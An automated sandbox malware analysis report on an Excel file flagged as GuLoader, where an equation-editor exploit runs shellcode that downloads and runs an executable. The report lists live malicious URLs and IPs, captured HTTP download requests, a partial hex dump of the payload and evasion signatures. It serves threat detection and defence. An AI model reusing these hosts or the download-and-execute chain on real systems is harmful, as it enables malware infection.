Windows Analysis Report
OR17233976_00019489_20170619154218.xlsx

Overview

General Information

Sample Name: OR17233976_00019489_20170619154218.xlsx
Analysis ID: 623901
MD5: 06f4851cbdc105cc140818b42f000b0e
SHA1: 40ac7c31fd3e2f3524bd82200491741f02f9a1ef
SHA256: 3844f8a2b3657d0141d505373f74beb01b6c2150c6931670bc241d600dca89eb
Tags: VelvetSweatshopxlsx
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Office equation editor establishes network connection
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Downloads executable code via HTTP
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality to download and execute PE files
Office Equation Editor has been started
Contains functionality to download and launch executables
PE file contains more sections than normal
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.1176745536.0000000003A60000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://nordship.ru/bin_XpSIjvlBS226.bin"}
Multi AV Scanner detection for submitted file
Source: OR17233976_00019489_20170619154218.xlsx Virustotal: Detection: 40% Perma Link
Source: OR17233976_00019489_20170619154218.xlsx ReversingLabs: Detection: 24%
Antivirus detection for URL or domain
Source: http://103.149.13.182/365space/.svchost.exe Avira URL Cloud: Label: malware

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 103.149.13.182 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: D:\SourceCode\GC3.UserExperienceImprovement\production_V4.2\Service\ServiceSDK\Release\UserExperienceImprovementPlugin\AsSQLHelper.pdb source: AsSQLHelper.dll.4.dr
Source: Binary string: D:\SourceCode\GC3.Overclocking\production_V4.2\Service\ServiceSDK\Release\ThrottlePlugin\AEGISIIINVHelper.pdb source: AEGISIIINVHelper.dll.4.dr
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406850 FindFirstFileW,FindClose, 4_2_00406850
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C26 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C26
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03420652 ShellExecuteExW,ExitProcess, 2_2_03420652
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0342056E LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_0342056E
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034205F1 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_034205F1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034204C9 ExitProcess, 2_2_034204C9
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034204E2 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_034204E2
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03420670 ExitProcess, 2_2_03420670
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034204FE URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_034204FE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03420588 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03420588
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0342063B ShellExecuteExW,ExitProcess, 2_2_0342063B
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 103.149.13.182:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 103.149.13.182:80
Source: excel.exe Memory has grown: Private usage: 4MB later: 84MB

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://nordship.ru/bin_XpSIjvlBS226.bin
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 May 2022 20:16:58 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Mon, 09 May 2022 21:26:38 GMTETag: "51bf8-5de9add0f38f0"Accept-Ranges: bytesContent-Length: 334840Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 68 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 0a 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b5 2e 05 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 60 3d 00 08 59 01 00 00 00 00 00 00 00 00 00 c8 fb 04 00 30 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 d0 02 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 08 59 01 00 00 60 3d 00 00 5a 01 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /365space/.svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.149.13.182Connection: Keep-Alive
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0342056E LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_0342056E
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: unknown TCP traffic detected without corresponding DNS query: 103.149.13.182
Source: EQNEDT32.EXE, 00000002.00000002.971735637.0000000000664000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.971735637.0000000000664000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.971735637.0000000000664000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/365space/.svchost.exe
Source: EQNEDT32.EXE, 00000002.00000002.973889166.0000000003420000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/365space/.svchost.exej
Source: EQNEDT32.EXE, 00000002.00000002.971735637.0000000000664000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.149.13.182/365space/.svchost.exemmC:
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: EQNEDT32.EXE, 00000002.00000002.972173687.00000000006B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsig
Source: .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl.globalsign.com/gsextendcodesignsha2g3.crl0
Source: .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0b
Source: EQNEDT32.EXE, 00000002.00000002.972173687.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: vbc.exe, 00000004.00000000.969965123.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000002.1176452278.000000000040A000.00000004.00000001.01000000.00000004.sdmp, .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: EQNEDT32.EXE, 00000002.00000002.972173687.00000000006B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp2.globals)
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp2.globalsign.com/gsextendcodesignsha2g30U
Source: EQNEDT32.EXE, 00000002.00000002.972173687.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, .svchost[1].exe.2.dr, AEGISIIINVHelper.dll.4.dr, vbc.exe.2.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://secure.globalsign.com/cacert/gsextendcodesignsha2g3ocsp.crt0
Source: .svchost[1].exe.2.dr, vbc.exe.2.dr String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr String found in binary or memory: https://sectigo.com/CPS0C
Source: vbc.exe, 00000004.00000002.1176591783.0000000000788000.00000004.00000001.01000000.00000004.sdmp, wxbase30u_xml_gcc_custom.dll.4.dr, AEGISIIINVHelper.dll.4.dr, AsSQLHelper.dll.4.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: EQNEDT32.EXE, 00000002.00000002.972173687.00000000006B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.globalsign.9
Source: EQNEDT32.EXE, 00000002.00000002.972173687.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, .svchost[1].exe.2.dr, AEGISIIINVHelper.dll.4.dr, vbc.exe.2.dr, AsSQLHelper.dll.4.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\90EF2157.emf Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0342056E LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_0342056E
Source: global traffic HTTP traffic detected: GET /365space/.svchost.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.149.13.182Connection: Keep-Alive
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_004056BB GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_004056BB

System Summary
barindex
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.svchost[1].exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040350A
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_708A1BFF 4_2_708A1BFF
Abnormal high CPU Usage
Source: C:\Users\Public\vbc.exe Process Stats: CPU usage > 98%
PE file contains strange resources
Source: .svchost[1].exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.2.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
PE file contains more sections than normal
Source: wxbase30u_xml_gcc_custom.dll.4.dr Static PE information: Number of sections : 12 > 10
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: OR17233976_00019489_20170619154218.xlsx Virustotal: Detection: 40%
Source: OR17233976_00019489_20170619154218.xlsx ReversingLabs: Detection: 24%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040350A
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$OR17233976_00019489_20170619154218.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR703F.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@4/26@0/1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004021AA CoCreateInstance, 4_2_004021AA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404967 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 4_2_00404967
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: D:\SourceCode\GC3.UserExperienceImprovement\production_V4.2\Service\ServiceSDK\Release\UserExperienceImprovementPlugin\AsSQLHelper.pdb source: AsSQLHelper.dll.4.dr
